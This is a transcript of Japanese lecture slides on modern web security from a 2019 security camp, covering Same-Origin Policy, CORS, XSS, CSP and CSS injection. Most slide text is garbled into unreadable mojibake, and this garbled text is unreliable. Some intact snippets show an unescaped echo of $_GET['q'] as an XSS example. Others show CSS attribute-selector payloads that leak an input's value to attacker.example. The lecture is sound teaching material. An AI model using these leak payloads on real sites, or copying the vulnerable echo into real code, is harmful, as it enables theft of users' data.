Upgrade to Pro — share decks privately, control downloads, hide ads and more …

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically

セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。

Takashi Yoneuchi

August 15, 2019
Tweet

More Decks by Takashi Yoneuchi

Other Decks in Research

Transcript

  1. ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ
    5BLBTIJ:POFVDIJ
    !MNU@TXBMMPX !ZOVDIZ
    'MBUU4FDVSJUZ *OD

    %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP
    IUUQTTIJGUKTJOGP

    View full-size slide

  2. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    5BLBTIJ:POFVDIJ
    ‣ !MNU@TXBMMPX !ZOVDIZ
    ‣ 8PSLJOHBU
    ‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZ
    PG4DJFODF UIF6OJWFSTJUZPG5PLZP
    ‣ *ὑ8FC
    ‣ DUGCMFBEFS TFDDBNQTUB⒎
    ‣ 54(EPEPEPEP
    ‣ 4FFIUUQTTIJGUKTJOGP


    View full-size slide

  3. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ຊࢿྉͷ֓ཁ

    4QFBLFS%FDLಡऀ޲͚
    ‣ ຊߨٛͷࢿྉͱͯ͠͸ɺҎ
    ԼͷͭΛར༻͠·ͨ͠ɻ
    ‣ ࣄલֶशʜถ಺͕ݱࡏࣥ
    චதͷຊͷ૲ߘ
    ‣ ౰೔ʜ͜ͷεϥΠυ
    ‣ ͜ͷεϥΠυ͸ɺࣥචதͷ
    ຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜
    ΖΛิ͏ͨΊͷ΋ͷͰ͢ɻ
    ‣ ͥͻຊͷެ։ ग़൛
    Λ͓଴
    ͪԼ͍͞ɻ


    View full-size slide

  4. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ

    ࣄલֶशࢿྉͷ໨࣍ͷͪΒΈͤ

    4QFBLFS%FDLಡऀ޲͚

    View full-size slide

  5. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ຊߨٛͷ໨ඪ ࠶

    8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ͸
    ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99&
    ͸ֶ΂͹෼͔Δ
    ‣ ։ൃ࣌ʹؾʹ͢΂͖͜ͱ͸ɺ֓Ͷଞ෼໺ͷ։ൃͱ͕ࠜҰॹ
    ‣ ೖྗ஋Λ৴༻͠ͳ͍ ద੾ͳݖݶ؅ཧ FUD
    ‣ ͔͠͠8FCಛ༗ͳύϥμΠϜ͸ֶͼʹ͍͘
    ‣ ʮυΩϡϝϯτ͸ࢄҳ͍ͯ͠Δ͠ʜʯ
    ‣ ʮ࢓༷ؒͷͭͳ͕Γ΋ݟ͑ͳ͍͠ʜʯ
    ‣ ຊߨٛͷ໨ඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ
    ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ΂͖͔ʁ
    ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ࢓༷ɾ߈ܸ͕ग़͖͔ͯͨʁ


    View full-size slide

  6. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ࣄલֶशͰ΍ͬͨ͜ͱ

    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ‣ ࣄલ՝୊1%'
    ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦
    ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ
    ‣ ࿦఺401 $034 944 $41
    ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ
    ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO
    $03# $031 $0&1 $001
    ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ
    ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ


    View full-size slide

  7. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ࣄલֶशͰ΍ͬͨ͜ͱ

    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ‣ ࣄલ՝୊1%'
    ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦
    ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔
    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ
    ‣ ࿦఺401 $034 944 $41
    ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ
    ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031
    $0&1 $001
    ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ
    ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ



    ΍Γ͗ͨ͢
    ߨٛͰ΍Ζ͏ͱࢥͬͯͨ͜ͱ

    ͥΜͿ΍ͬͪΌͬͨʜ

    View full-size slide

  8. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0VUMJOF

    ࠓ೔ͷߨٛͰ΍Δ͜ͱ
    ‣ *OUSPEVDUJPO NJO

    ‣ 401$034944

    NJO

    ‣ 1PTU9448PSME NJO

    ‣ $44*OKFDUJPO NJO

    ‣ 94-FBLTBOE944FBSDI

    NJO



    ‣ 5SZ401944$IBMMFOHF

    NJO

    ‣ $44*OKFDUJPO$IBMMFOHF

    NJO

    ‣ 944FBSDI$IBMMFOHF

    NJO

    ‣ 3FDPO$IBMMFOHF NJO

    -FDUVSF $IBMMFOHF

    View full-size slide

  9. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ΞΠεϒϨΠΫ

    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ‣ ౡͷதͰࣗݾ঺հ͠·͠ΐ͏ બ୒ߨٛͳͷͰ
    ɻ
    ‣ ໊લʜِ໊ɾϋϯυϧωʔϜ΋Մ
    ‣ ޷͖ͳ͜ͱʜݚڀͷ࿩Ͱ΋ɺ೔ৗͷ࿩Ͱ΋ɺΞχϝͷ࿩Ͱ΋ɻ
    ‣ Λࣗવ਺ʹؚΊΔ೿͔ɺؚΊͳ͍೿͔ɻ
    ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛ໰Λ࠶ߟͯ͠ΈΑ͏ɻ
    ‣ ໰401 $034͸ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ
    ‣ ໰944ͱ401ͷؔ܎ੑ͸આ໌Ͱ͖·͔͢ɻ
    ‣ ໰$41͸Ͳ͏͍͏໰୊ʹର͠ɺͲͷΑ͏ͳޮྗΛ΋ͪ·͔͢ɻ


    View full-size slide

  10. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ஫ҙࣄ߲

    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯ΋Α͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ
    ‣ 4/4Ͱຊߨٛͷ࣮گɾײ૝ΛπΠʔτ͢Δͷ͸ߏ͍·ͤΜɻ
    ‣ ͦͷࡍʹ͸ࡍʹ͸ɺͥͻҎԼͷλάΛ෇͚͍ͯͩ͘͞

    ‣ TFDDBNQTFDDBNQC
    ‣ ஫ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ
    ‣ ຊߨٛͷԋशͰ͸ɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ
    ετʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ
    ‣ IBDRNF
    ‣ TIJGUKTJOGP


    View full-size slide

  11. ࣄલֶशͷৼΓฦΓ

    View full-size slide

  12. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    8FCʹ͓͚Δڥքͷඞཁੑ

    ͳͥڥք͕Ҿ͔ΕΔ΂͖ͳͷͩΖ͏͔
    ‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰ੾ͷ੍ݶ͕ͳ͚Ε͹ɺ߈
    ܸऀ͸গͳ͍εςοϓͰ৘ใΛϦʔΫͰ͖Δɻ
    ‣ ໰FWJMDPN͕GFUDI FYBNQMFDPN
    Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜
    ͱ͕ग़དྷΔ৔߹ɺ߈ܸऀ͸ͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ
    ‣ ໰͋Δ͍͸ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠΋ͷΛಡΊ
    ͨΒͲ͏͔ɻ


    http://evil.com
    ΋ࣗ͠༝ʹ

    ಡΈॻ͖͕ग़དྷͨΒʁ
    http://example.com

    View full-size slide

  13. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    0SJHJO
    3'$5IF8FC0SJHJO$PODFQU
    ‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO͸࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ
    VSJTDIFNF VSJIPTU VSJQPSU

    ‣ VSJTDIFNFFHIUUQ IUUQT
    ‣ VSJIPTUFHFYBNQMFDPN
    ‣ VSJQPSUFH
    ‣ ஫VSJQPSU͕লུ͞Ε͍ͯΔ৔߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ
    ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ


    IUUQFYBNQMFDPNTPNFQBUI

    View full-size slide

  14. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    4BNF0SJHJO1PMJDZ

    "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO
    ‣ ֓ཁ4BNF0SJHJO1PMJDZ
    ‣ 401͸ҎԼΛېࢭ͢Δɻ
    ‣ $SPTT0SJHJOͳಡΈࠐΈ
    ‣ ྫGFUDIͷ݁Ռ
    ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦෼త

    ‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034

    ‣ 8FCϒϥ΢β͕࣋ͭ࠷΋ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ


    View full-size slide

  15. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    4DIXFOLFUBM 

    4BNF0SJHJO1PMJDZͷςετ
    ‣ ٙ໰ 4DIXFOLFUBM

    ‣ 401%0. 401GPS%0.
    ͸ɺϞμϯͳϒϥ΢βʹ͓͍ͯɺͲͷΑ
    ͏ʹ࣮૷͞Ε͍ͯΔͷͩΖ͏͔ɻ
    ‣ 401%0.ʹؔ܎ͷ͋Δ)5.-ϚʔΫΞοϓ͸ͲΕ͔ɻ
    ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥ΢βͷڍಈ͸Ϛον͍ͯ͠Δ͔ɻ
    ‣ ൴Βͷߩݙ ͷҰ෦

    ‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN
    ‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·Ͱ͸Τοδέʔεͩͬͨ΋ͷ΋र͑Δ
    Α͏ʹͳͬͨɻ
    ‣ ݁Ռϒϥ΢βؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲ͸࿦จࢀর



    View full-size slide

  16. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    $034 $SPTT0SJHJO3FTPVSDF4IBSJOH

    0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ
    ‣ ໰୊$SPTT0SJHJOͳϦιʔεΛਖ਼౰ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞
    ৔߹ʹ͸Ͳ͏͢Ε͹Α͍ͷͩΖ͏͔ɻ
    ‣ ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH
    ‣ ϦιʔεΛར༻͍ͨ͠ଆ͸ɺࣗ਎ͷ0SJHJOΛ0SJHJOϦΫΤετϔο
    μͷ஋ͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ
    ‣ ϦιʔεΛఏڙ͢Δଆ͸ɺ"DDFTT$POUSPM"MMPXϨεϙϯεϔο
    μΛ௨ͯ͠ɺڐՄෆڐՄΛ఻͑Δɻ
    ‣ ϒϥ΢β͸ϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛ൑அ͢Δɻ
    ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034
    )551c.%/

    IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034


    View full-size slide

  17. &YFSDJTF

    401$034
    ඇެ։

    View full-size slide

  18. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    4JUF
    0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք
    ‣ ໰୊0SJHJO͸΍΍ݫ͍͠ͷͰɺΑΓMPPTFͳ੍໿͕΄͍͠ɻ
    ‣ ղܾ4JUF
    ‣ 3FJTBOE(SJCCMF
    4DIFNF F5-%

    ‣ 8)"58(F5-%
    ‣ ࠾༻ྫ
    ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷ΋ͷ
    ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT
    4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ
    4ZNQPTJVN
    ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷ΋ͷ


    View full-size slide

  19. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ

    ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷ΋ͭσʔλ͸ɺͦͷ֎
    ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͸͋Δ
    ɻ
    ‣ 944͸ͦͷ੍໿ͷճආͩͱଊ͑ΒΕΔɻ
    ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ
    Origin A

    スクリプト挿⼊入
    = $_GET['q'] ?>

    View full-size slide

  20. &YFSDJTF

    944
    ඇެ։

    View full-size slide

  21. 1PTU944ͷੈքΛோΊΔ

    View full-size slide

  22. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ରࡦϑϨʔϜϫʔΫଆ

    'PPMQSPPG "VUPFTDBQJOH FUD
    ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର
    ࡦΛఏڙ͍ͯ͠Δɻ
    ‣ جຊ͸ࣗಈͰΤεέʔϓ͢Δɻ
    ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥ͸שى͢Δɻ
    ‣ FHEBOHFSPVTMZ4FU*OOFS)5.-


    = $_GET['q'] ?>
    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  23. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ରࡦ$41

    $POUFOU4FDVSJUZ1PMJDZ
    ‣ ΞΠσΞ
    ‣ ։ൃऀ͸ɺ)5.-+4ͷͲͷ෦෼͕ࣗ෼͕ఏڙͨ͠΋ͷͰɺͲͷ෦෼
    ͕ͦ͏Ͱͳ͍͔Λ஌͍ͬͯΔɻ
    ‣ *OKFDU͞Εͯ΋ɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚Ε͹Α͍ɻ
    ‣ $41͸։ൃऀ͕ϒϥ΢βʹ ؔ܎͢Δ0SJHJO΍ਖ਼نͷ+4͸ͲΕ
    ͔ɺͳͲͷ
    ࣄલ৘ใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ๷
    ͍Ͱ͍͜͏ɺͱ͍͏࢓૊Έɻ


    Content-Security-Policy: script-src 'nonce-4g34...34r'
    alert('Hello, CSP!')
    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  24. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    Ͱ͖Δ͜ͱ

    $POUFOU4FDVSJUZ1PMJDZ
    ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ
    ‣ ྫTDSJQUTSD GSBNFTSD
    ‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ
    ‣ ྫCBTFVSJ TBOECPY
    ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ
    ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP
    ‣ 3FQPSUJOH%JSFDUJWFT$41ҧ൓ͷϨϙʔτػೳΛ੍ݶ
    ‣ ྫSFQPSUVSJ SFQPSUUP
    ‣ ࣄલֶशͷ1%'ʹ΋ܰ͘ॻ͍ͨͷͰɺࡉ͔͍࿩͸͠·ͤΜɻ


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  25. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ࣮ࡍͷӡ༻ྫ

    $POUFOU4FDVSJUZ1PMJDZ
    ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ͸૿͖͍͑ͯͯΔɻ
    ‣ 5XJUUFS (JU)VC 'BDFCPPL 4OBQDIBU
    ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ΋͋ΔΒ͍͠ɻ
    ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  26. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ؔ࿈ݚڀ

    $POUFOU4FDVSJUZ1PMJDZ
    ‣ ࠓ೔ͷ$41ʹࢸΔ·Ͱʹ͸ɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ
    ‣ ୅දతͳؔ࿈ݚڀ
    ‣ #&&1 +JNFUBM

    ‣ 40." 0EBFUBM

    ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO

    ‣ ॳظͷ$41 4UBNNFUBM
    -FWFM -FWFM
    ‣ ए͍ࠒ #ͷ͜Ζ
    ʹॻ͍ͨεϥΠυͳͷͰগʑߥ࡟Γ͕ͩɺ͜ͷ
    εϥΠυʹ͜ͷؔ࿈ͷ࿩͸·ͱΊͯ͋Δɻ
    ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  27. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ల๬

    $POUFOU4FDVSJUZ1PMJDZ
    ‣ ໰୊$41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ
    ‣ ۙ೥͸$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ
    ‣ ޙํޓ׵ੑ CBDLXBSEDPNQBUJCJMJUZ
    Λอͭඞཁ͔Βɺଟ͘ͷ໰୊
    ͕ൃੜ͖ͯͨ͠ɻ
    ‣ ఏҊ$41ΛEJTKPJOUʹ෼ׂ͍ͨ͠ɻ
    ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔͸ɺΞΠσΞ

    ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU
    ‣ ՝୊$41͕ࠓ๊͍͑ͯΔ໰୊ͱ͸ҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ
    ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  28. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ରࡦ944"VEJUPSܥ

    &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944


    ‣ ൓ࣹܕ
    944Λϒϥ΢β͕ݕ஌
    ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ
    ‣ 99441SPUFDUJPOϔομʹΑ
    ΓϞʔυ͕ܾΊΒΕΔ
    ‣ ແޮ

    ‣ pMUFS NPEFpMUFS

    ‣ CMPDL NPEFCMPDL

    ‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲
    ʹਐΜͰ͍ΔɻDMBQ
    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  29. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    944ٕ๏ͷൃల

    4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ
    ‣ ໰୊$41ͷ͍ͤͰɺ͏·͘೚ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ
    ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM

    ‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4΍ɺ͢Ͱʹϩʔυ͞
    Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻
    PSར༻͢Ε͹ɺ೚ҙ
    +4࣮ߦʹܨ͛ΒΕΔͷͰ͸ͳ͍͔ɻ
    ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 301
    ΍
    3FUVSOUPMJCD




    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  30. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    4DSJQUMFTT"UUBDLT

    +BWB4DSJQUΛར༻͠ͳ͍߈ܸ
    ‣ ໰+4Λ࢖ΘͣʹͰ͖Δ߈ܸʹ͸ɺͲͷΑ͏ͳ΋ͷ͕͋Δ͔ɻ
    ‣ 944ରࡦ͸͍ͯͯ͠΋ɺͦΕҎ֎͸ҙࣝͷ֎Ͱ͋Δɺͱ͍͏৔߹͸͠
    ͹͠͹͋ΔͨΊɺ͜Ε͸༗ӹͳ໰ɻ
    ‣ ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత

    ‣ $44*OKFDUJPOʹؔͯ͠͸ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF
    UFDIOJRVF GPOUSBOHFUFDIOJRVF ౳ͷςΫχοΫ͕XFMMLOPXOɻ
    ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB

    IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG
    ‣ ͜ͷྨͷ߈ܸ͸͠͹͠͹໰୊ࢹ͞Ε͖ͯͨɻ
    ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓ੝Μʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹ৅ɻ


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  31. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    94-FBLT944FBSDI

    "UUBDLTBJNJOHUIFQPTU944XPSME
    ‣ ໰ͦ΋ͦ΋$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍৔߹ʹ΋ɺ߈ܸऀ͸Կ
    Β͔ͷ߈ܸΛߦ͏༨஍͕͋ΔͷͩΖ͏͔ɻ
    ‣ ΞΠσΞ΋͠৘ใͷ׬શͳϦʔΫ͕ݫͯ͘͠΋ʜʜʁ
    ‣ $SPTT0SJHJO͔ΒͰ΋ಡΊΔ৘ใ͔ΒɺԿ͔ҙຯͷ͋Δ৘ใΛ
    நग़Ͱ͖ͳ͍͔ɻ
    ‣ ͦ΋ͦ΋ಡ·ΕΔ͜ͱ͕૝ఆ͞Ε͍ͯͳ͍৘ใΛɺαΠυνϟω
    ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ
    ‣ ͜ͷΞΠσΞͷ΋ͱɺ$SPTTTJUF-FBLT 94-FBLT
    ΍$SPTT
    TJUF4FBSDI 944FBSDI
    ͱݺ͹ΕΔྨ͕ొ৔ͨ͠ɻ


    944ͷग़ݱ
    ରࡦͷൃల
    ߈ܸͷൃల

    View full-size slide

  32. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ༨ஊ

    Ξφϩδʔʁ


    ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU
    (BEHFUTʯʁ
    ‣ ϋʔυ΢ΣΞ
    %&1͸/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ
    ‣ $41͸σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ
    ‣ ߏ଄͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡੾ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ
    ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM

    ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM
    TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS
    ‣ 6TF"GUFS'SFF 6"'
    ͷߟ͑ํΛҰൠԽͯ͠ண૝ΛಘͨΒ͍͠ɻ
    ‣ %BOJFM(SVTTࢯ΍ͦͷपลͷํʑ͕΍͍ͬͯΔݚڀ͸ඇৗʹ໘ന͍ͷ
    Ͱɺ΢Υον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔΋ɻ

    View full-size slide

  33. $44*OKFDUJPO

    View full-size slide

  34. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    લఏ஌ࣝ
    "UUSJCVUF3FBEJOH$44*OKFDUJPO
    ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ

    ‣ ͜Ε͸࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ
    ‣ ͜ΕΛԠ༻͢Δͱ ଐੑ஋ΛMFBLՄೳɻ



    input[value ^= "a"] { /* ... */ }

    input[value ^= "ab"] { /* ... */ }

    input[value ^= "abc"] { /* ... */ }

    View full-size slide

  35. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ߈ܸͷߏ଄
    "UUSJCVUF3FBEJOH$44*OKFDUJPO


    input[value ^= "a"] {

    background: url(http://attacker.example/?a)

    } /* ... */


    攻撃ベクタ
    リクエスト
    リーク
    反射型
    蓄積型
    準備

    View full-size slide

  36. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    ߈ܸͷݪཧ
    "UUSJCVUF3FBEJOH$44*OKFDUJPO
    ‣ ࣍ͷ)5.-λάͷWBMVFଐੑΛϦʔΫ͍ͨ͠৔߹Λߟ͑Δɻ

    ‣ ߈ܸऀ͸ɺ$44*OKFDUJPO͕Ͱ͖Δ৔ॴʹɺҎԼͷΑ͏ͳ$44Λ܁
    Γฦ͠ BΛC D ͱม͑ͭͭ
    ૠೖ͍ͯ͘͠ɻ
    ‣ ߈ܸऀ͸BUUBDLFSFYBNQMFͰ଴ͪड͚͓ͯ͘͜ͱͰɺWBMVFଐ
    ੑͷจࣈ໨Λ஌Δ͜ͱ͕Ͱ͖Δɻ



    input[value ^= "a"] { 

    background: url(http://attacker.example/?a)

    }

    View full-size slide

  37. &YFSDJTF

    "UUSJCVUF3FBEJOH
    ඇެ։

    View full-size slide

  38. ˜TIJGUKTJOGP
    ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ
    -JHBUVSF੍ޚʹΑΔϦʔΫ
    -JHBUVSF$44*OKFDUJPO
    ‣ ໰୊͜͜·Ͱʹ঺հͨ͠"UUSJCVUF3FBEJOHͰ͸ɺλάͷଐੑ஋
